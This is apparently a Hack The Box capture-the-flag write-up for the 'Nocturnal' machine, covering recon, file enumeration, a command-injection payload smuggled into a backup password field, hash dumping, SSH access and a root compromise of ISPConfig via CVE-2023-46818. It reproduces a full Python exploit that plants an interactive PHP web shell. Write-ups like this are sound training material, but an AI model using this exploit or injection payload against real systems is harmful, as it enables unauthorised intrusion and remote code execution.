Write-Ups
Write-Ups
Write-Ups
  • 📙Write-Ups
  • 🔋Hack The Box
    • đŸ•šī¸Challenges
      • 🎰AI - ML
        • â˜„ī¸AI SPACE
      • â›“ī¸Blockchain
        • 🤸Survival of the Fittest
      • 🔮Crypto
        • đŸ‘ļBaby Time Capsule
        • đŸ•ēThe Last Dance
      • âĒReversing
        • BabyEncryption
        • 🌒Behind the Scenes
        • đŸŖBabyEncryption
        • 💹Simple Encryptor
      • đŸŽ›ī¸Hardware
        • 💉The Needle
        • 🔏Photon Lockdown
      • đŸĨ¸OSINT
        • 💸Money Flowz
      • đŸ•¸ī¸Web
        • đŸ´â€â˜ ī¸Flag Command
        • 💓LoveTok
        • đŸ—’ī¸PDFy
        • jscalc
        • 🙈ProxyAsAService
        • ApacheBlaze
        • ❓RenderQuests
        • đŸ’ĨNeonify
        • 😑No Treshold
        • 🎑Breathtaking View
    • 🏰Fortress
      • đŸĻ™AWS
    • đŸ’ģMachines
      • 🎒Backfire
      • đŸ’ĨBigBang
      • 🐈‍âŦ›Cat
      • âœ”ī¸Checker
      • đŸļDog
      • 🧧Environment
      • 👮EscapeTwo
      • âšœī¸Eureka
      • đŸĻNocturnal
      • 🔞UnderPass
      • đŸšĸTitanic
      • TheFrizz
      • 🐰WhiteRabbit
    • 🧐Sherlocks
      • Meerkat
      • Bumblebee
    • đŸĨŧProLabs
      • 🃏FullHouse
    • 💀Season 8
    • đŸĻ“Scripts/Functions/Tools
  • 💔PortSwigger
    • đŸ›Ŗī¸Learning Path
      • â™ŋApi testing
        • Lab: Exploiting an API endpoint using documentation
        • Lab: Finding and exploiting an unused API endpoint
        • Lab: Exploiting a mass assignment vulnerability
        • Lab: Exploiting server-side parameter pollution in a query string
      • 🔐Authentication vulnerabilities
        • Lab: Username enumeration via different responses
        • Lab: Username enumeration via subtly different responses
        • Lab: Username enumeration via response timing
        • Lab: Broken brute-force protection, IP block
        • Lab: Username enumeration via account lock
        • Lab: 2FA simple bypass
        • Lab: 2FA broken logic
        • Lab: Brute-forcing a stay-logged-in cookie
        • Lab: Offline password cracking
        • Lab: Password reset broken logic
        • Lab: Password reset poisoning via middleware
        • Lab: Password brute-force via password change
      • 📁File upload vulnerabilities
        • Lab: Remote code execution via web shell upload
        • Lab: Web shell upload via Content-Type restriction bypass
        • Lab: Web shell upload via path traversal
      • 📉GraphQL API vulnerabilities
        • Lab: Accessing private GraphQL posts
        • Lab: Accidental exposure of private GraphQL fields
        • Lab: Finding a hidden GraphQL endpoint
        • Lab: Bypassing GraphQL brute force protections
        • Lab: Performing CSRF exploits over GraphQL
      • đŸ–Ĩī¸Server-side vulnerabilities
        • đŸ›¤ī¸Path traversal
          • Lab: File path traversal, simple case
        • 🛂Access control
          • Lab: Unprotected admin functionality
          • Lab: Unprotected admin functionality with unpredictable URL
          • Lab: User role controlled by request parameter
          • Lab: User ID controlled by request parameter, with unpredictable user IDs
          • Lab: User ID controlled by request parameter with password disclosure
        • 🔐Authentication
          • Lab: Username enumeration via different responses
        • đŸ–Ĩī¸Server-side request forgery(SSRF)
          • SSRF attacks against the server
          • Lab: Basic SSRF against the local server
          • Lab: Basic SSRF against another back-end system
        • 🆙File upload vulnerabilities
          • Lab: Remote code execution via web shell upload
          • Lab: Web shell upload via Content-Type restriction bypass
        • 👊OS command injection
          • Lab: OS command injection, simple case
        • 💉SQL injection (SQLi)
          • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
          • Lab: SQL injection vulnerability allowing login bypass
      • đŸ§ĻWebSockets
        • Lab: Manipulating WebSocket messages to exploit vulnerabilities
        • Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
        • Lab: Cross-site WebSocket hijacking
Powered by GitBook
On this page
  • Recon
  • Website
  • User
  • Root
  1. Hack The Box
  2. Machines

Nocturnal

https://app.hackthebox.com/machines/Nocturnal

Last updated 5 days ago

Recon

[*] Running initial Nmap scan...
sudo nmap -sCV -T4 10.10.11.64 -oA nmap-initial
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-03 18:59 CEST
Nmap scan report for nocturnal.htb (10.10.11.64)
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Nocturnal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Website

In the website we can register a User and upload some files.

Intercepting the request of viewing a file we detect possible entrypoint and send it to the repeater:

GET /view.php?username=htb%40htb.com&file=file.pdf HTTP/1.1
Host: nocturnal.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nocturnal.htb/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3if78g1uefu5ld57otpvgst9k5
Connection: keep-alive

User

Adding an asterix to the query we try to get files from other users:

Starting the intruder with /seclists/Usernames/xato-net-10-million-usernames.txt we find some other user files. While grepping for "Available files for download" we find some users. Admin and tobias have no files but amanda got one interesting privacy.odt

Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal's IT team

We are login in using these credentials.

We can see some juice-files at the Admin-Panel:

login.php
<?php
session_start();
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $result = $stmt->execute()->fetchArray();

    if ($result && md5($password) === $result['password']) {
        $_SESSION['user_id'] = $result['id'];
        $_SESSION['username'] = $username;
        header('Location: dashboard.php');
        exit();
    } else {
        $error = 'Invalid username or password.';
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Login</h1>
        <?php if (isset($error)): ?>
            <p class="error"><?php echo $error; ?></p>
        <?php endif; ?>
        <form method="post">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Login</button>
        </form>
        <a href="register.php">Don't have an account? Register here</a>
    </div>
</body>
</html>

Moreover we find a vulnerability when we test the creating backup function at the bottom.

After some testing we find a dump with hashes:

POST /admin.php?view=dashboard.php HTTP/1.1
Host: nocturnal.htb
Content-Length: 108
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://nocturnal.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://nocturnal.htb/admin.php?view=dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=eijjmosqk4m5ggpfg3fa7uosru
Connection: keep-alive

password=%0Abash%09-
c%09"sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump"%0A
&backup=
INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');
INSERT INTO users VALUES(6,'kavi','f38cde1654b39fea2bd4f72f1ae4cdda');
INSERT INTO users VALUES(7,'e0Al5','101ad4543a96a7fd84908fd0d802e7db');

We can login as tobias

➜ ssh tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Root

Beside the port 80 we know we find another websever running on port 8080

tobias@nocturnal:~$ netstat -tupln
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                  

We gonna forward this via ssh

➜ ssh -L 8080:127.0.0.1:8080 tobias@nocturnal.htb
tobias@nocturnal.htb's password: slowmotionapocalypse
bind [127.0.0.1]:8080: Address already in use
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

The password of tobias as admin does work here as well.

The the Help Panel we detect ISPConfig Version: 3.2.10p1

git clone https://github.com/blindma1den/CVE-2023-46818-Exploit.git

cd CVE-2023-46818-Exploit

python3 exploit.py http://127.0.0.1:8080 admin slowmotionapocalypse

[+] Logging in as 'admin'
[+] Login successful.
[+] Injecting PHP shell...
[+] Shell dropped at 'sh.php'
[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

In case you havin trouble because of the missing crsf-cookie you can use this script, same usage.

import requests
import sys
import base64
import string
import random

def format_url(url):
    if not url.startswith(('http://', 'https://')):
        raise ValueError("URL must start with http:// or https://")
    return url if url.endswith('/') else url + '/'

def login(session, base_url, username, password):
    print(f"[+] Logging in as '{username}'")
    login_url = base_url + "login/"
    data = {
        'username': username,
        'password': password,
        's_mod': 'login'
    }
    response = session.post(login_url, data=data, verify=False)
    if "Username or Password wrong" in response.text:
        sys.exit("[-] Login failed.")
    print("[+] Login successful.")
    print(f"[+] Cookies set: {session.cookies.get_dict()}")
    return session

def get_csrf_tokens(response_text):
    try:
        csrf_id = response_text.split('_csrf_id" value="')[1].split('"')[0]
        csrf_key = response_text.split('_csrf_key" value="')[1].split('"')[0]
        return csrf_id, csrf_key
    except IndexError:
        print("[-] Warning: Couldn't extract CSRF tokens using standard method.")
        # Try alternative extraction methods if needed
        try:
            # More robust regex or alternative extraction could be added here
            csrf_id = response_text.split('name="_csrf_id" value="')[1].split('"')[0]
            csrf_key = response_text.split('name="_csrf_key" value="')[1].split('"')[0]
            return csrf_id, csrf_key
        except:
            sys.exit("[-] Failed to extract CSRF tokens.")

def inject_shell(session, base_url):
    print("[+] Injecting PHP shell...")
    php_payload = "<?php print('____'); passthru(base64_decode($_SERVER['HTTP_C'])); print('____'); ?>"
    encoded_payload = base64.b64encode(php_payload.encode()).decode()
    payload = f"'];file_put_contents('sh.php',base64_decode('{encoded_payload}'));die;#"
    lang_file = ''.join(random.choices(string.ascii_letters, k=8)) + ".lng"
    edit_url = base_url + "admin/language_edit.php"
    data = {
        'lang': 'en',
        'module': 'help',
        'lang_file': lang_file
    }
    response = session.post(edit_url, data=data, verify=False)
    csrf_id, csrf_key = get_csrf_tokens(response.text)
    data.update({
        '_csrf_id': csrf_id,
        '_csrf_key': csrf_key,
        'records[\\]': payload
    })
    session.post(edit_url, data=data, verify=False)
    print("[+] Shell dropped at 'sh.php'")

def interactive_shell(session, base_url):
    print("[+] Web shell ready. Type commands below. Ctrl+C or 'exit' to quit.")
    shell_url = base_url + "admin/sh.php"
    while True:
        try:
            cmd = input("\nispconfig-shell# ")
            if cmd.lower() == "exit":
                print("[+] Bye!")
                break
            headers = {'C': base64.b64encode(cmd.encode()).decode()}
            response = session.get(shell_url, headers=headers, verify=False)
            if "____" in response.text:
                output = response.text.split("____")[1]
                print(output.strip())
            else:
                print("[-] No output or execution failed.")
        except KeyboardInterrupt:
            print("\n[+] Interrupted. Exiting.")
            break

def main():
    if len(sys.argv) != 4:
        print(f"Usage: python {sys.argv[0]} <URL> <Username> <Password>")
        sys.exit(1)
    url = format_url(sys.argv[1])
    username = sys.argv[2]
    password = sys.argv[3]
    requests.packages.urllib3.disable_warnings()
    session = requests.Session()
    session = login(session, url, username, password)
    inject_shell(session, url)
    interactive_shell(session, url)

if __name__ == "__main__":
    main()

Throwing these hashes into a file and cracking them using :

With that information we find the

🔋
đŸ’ģ
đŸĻ
crackstation
CVE-2023-468181